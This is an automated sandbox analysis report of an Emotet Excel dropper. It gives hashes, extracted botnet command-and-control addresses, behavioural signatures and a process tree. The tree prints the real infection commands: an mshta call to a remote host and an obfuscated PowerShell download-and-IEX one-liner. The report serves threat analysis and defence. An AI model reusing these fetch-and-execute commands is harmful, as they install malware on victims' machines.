emotet | 87b79b6cdf05ab9299843d7bf31d9b89fd2af6570681fa221ab069e35e400f19

Analysis

max time kernel
123s
max time network
165s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 17:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tmp8h_r2ace.xls
Size 85KB
Sample220128-vh914agham
SHA256 87b79b6cdf05ab9299843d7bf31d9b89fd2af6570681fa221ab069e35e400f19
MD5 6f5fa762d26f2ca945096b3ad1c94624
SHA1 94b0698f976e00a813640171657b26cf9d28cbc2
SHA512 fc8ef0eecfb21cbb433c6e2d51aa71625225e4bb6f2a2998b8579fb94202a5e7f7b1fb8782f685ba4e5b9a97f4bebf0879e3fe2a79874b2b9a1e88c86c20644b
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/gg/ff/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/gg/ff/fe.png

Extracted

Family

emotet

Botnet

Epoch4

160.16.102.168:80
131.100.24.231:80
200.17.134.35:7080
207.38.84.195:8080
212.237.56.116:7080
58.227.42.236:80
104.251.214.46:8080
158.69.222.101:443
192.254.71.210:443
46.55.222.11:443
45.118.135.203:7080
107.182.225.142:8080
103.75.201.2:443
104.168.155.129:8080
195.154.133.20:443
159.8.59.82:8080
110.232.117.186:8080
45.142.114.231:8080
41.76.108.46:8080
203.114.109.124:443
50.116.54.215:443
209.59.138.75:7080
185.157.82.211:8080
164.68.99.3:8080
162.214.50.39:7080
138.185.72.26:8080
178.63.25.185:443
51.15.4.22:443
81.0.236.90:443
216.158.226.206:443
45.176.232.124:443
162.243.175.63:443
212.237.17.99:8080
45.118.115.99:8080
129.232.188.93:443
173.214.173.220:8080
178.79.147.66:8080
176.104.106.96:8080
51.38.71.0:443
173.212.193.249:8080
217.182.143.207:443
212.24.98.99:8080
159.89.230.105:443
79.172.212.216:8080
212.237.5.209:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2204	3528	CMD.EXE	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
29	1304	mshta.exe
30	4884	powershell.exe
32	4884	powershell.exe
43	4884	powershell.exe
44	1144	rundll32.exe
46	1144	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
4876	rundll32.exe
4016	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Quxvgmdqzuif\edgaruhjpnxnwcv.wgk	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4476	1304	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3528	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4884	powershell.exe
4884	powershell.exe
4476	WerFault.exe
4476	WerFault.exe
4476	WerFault.exe
4476	WerFault.exe
4476	WerFault.exe
4476	WerFault.exe
4476	WerFault.exe
4476	WerFault.exe
4476	WerFault.exe
4476	WerFault.exe
4476	WerFault.exe
4476	WerFault.exe
4476	WerFault.exe
4476	WerFault.exe
4884	powershell.exe
1144	rundll32.exe
1144	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeDebugPrivilege	4476	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3528 wrote to memory of 2204	3528	EXCEL.EXE	71
PID 3528 wrote to memory of 2204	3528	EXCEL.EXE	71
PID 2204 wrote to memory of 1304	2204	CMD.EXE	73
PID 2204 wrote to memory of 1304	2204	CMD.EXE	73
PID 1304 wrote to memory of 4884	1304	mshta.exe	75
PID 1304 wrote to memory of 4884	1304	mshta.exe	75
PID 4884 wrote to memory of 4092	4884	powershell.exe	78
PID 4884 wrote to memory of 4092	4884	powershell.exe	78
PID 4092 wrote to memory of 4876	4092	cmd.exe	79
PID 4092 wrote to memory of 4876	4092	cmd.exe	79
PID 4092 wrote to memory of 4876	4092	cmd.exe	79
PID 4876 wrote to memory of 4016	4876	rundll32.exe	80
PID 4876 wrote to memory of 4016	4876	rundll32.exe	80
PID 4876 wrote to memory of 4016	4876	rundll32.exe	80
PID 4016 wrote to memory of 640	4016	rundll32.exe	81
PID 4016 wrote to memory of 640	4016	rundll32.exe	81
PID 4016 wrote to memory of 640	4016	rundll32.exe	81
PID 640 wrote to memory of 1144	640	rundll32.exe	82
PID 640 wrote to memory of 1144	640	rundll32.exe	82
PID 640 wrote to memory of 1144	640	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp8h_r2ace.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3528
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2204
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.172/gg/ff/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4884
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4092
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4876
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:4016
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Quxvgmdqzuif\edgaruhjpnxnwcv.wgk",jTrsfjQNuoPm
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:640
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Quxvgmdqzuif\edgaruhjpnxnwcv.wgk",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1144
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1304 -s 1656
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4476

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/640-641-0x0000000000B40000-0x0000000000B65000-memory.dmp

Download

memory/1144-658-0x0000000004CF0000-0x0000000004D15000-memory.dmp

Download

memory/1144-643-0x00000000003E0000-0x0000000000405000-memory.dmp

Download

memory/1144-647-0x0000000000730000-0x0000000000755000-memory.dmp

Download

memory/1144-649-0x0000000000870000-0x0000000000895000-memory.dmp

Download

memory/1144-651-0x00000000008A0000-0x00000000008C5000-memory.dmp

Download

memory/1144-654-0x0000000004A30000-0x0000000004A55000-memory.dmp

Download

memory/1144-656-0x0000000004B10000-0x0000000004B35000-memory.dmp

Download

memory/1144-660-0x0000000004D50000-0x0000000004D75000-memory.dmp

Download

memory/3528-130-0x00007FFBBD0D0000-0x00007FFBBD0E0000-memory.dmp

Download

memory/3528-677-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Download

memory/3528-678-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Download

memory/3528-679-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Download

memory/3528-680-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Download

memory/3528-131-0x00007FFBBD0D0000-0x00007FFBBD0E0000-memory.dmp

Download

memory/3528-117-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Download

memory/3528-121-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Download

memory/3528-120-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Download

memory/3528-119-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Download

memory/3528-118-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Download

memory/4016-621-0x0000000005340000-0x0000000005365000-memory.dmp

Download

memory/4016-640-0x0000000005860000-0x0000000005885000-memory.dmp

Download

memory/4016-638-0x00000000056C0000-0x00000000056E5000-memory.dmp

Download

memory/4016-633-0x0000000005660000-0x0000000005685000-memory.dmp

Download

memory/4016-625-0x0000000005600000-0x0000000005625000-memory.dmp

Download

memory/4016-618-0x00000000034A0000-0x00000000034C5000-memory.dmp

Download

memory/4876-615-0x0000000001270000-0x0000000001295000-memory.dmp

Download

memory/4884-344-0x00000292ABDA6000-0x00000292ABDA8000-memory.dmp

Download

memory/4884-309-0x00000292C4920000-0x00000292C4996000-memory.dmp

Download

memory/4884-298-0x00000292C43D0000-0x00000292C440C000-memory.dmp

Download

memory/4884-277-0x00000292ABDA0000-0x00000292ABDA2000-memory.dmp

Download

memory/4884-279-0x00000292ABDA3000-0x00000292ABDA5000-memory.dmp

Download

memory/4884-278-0x00000292C4240000-0x00000292C4262000-memory.dmp

Download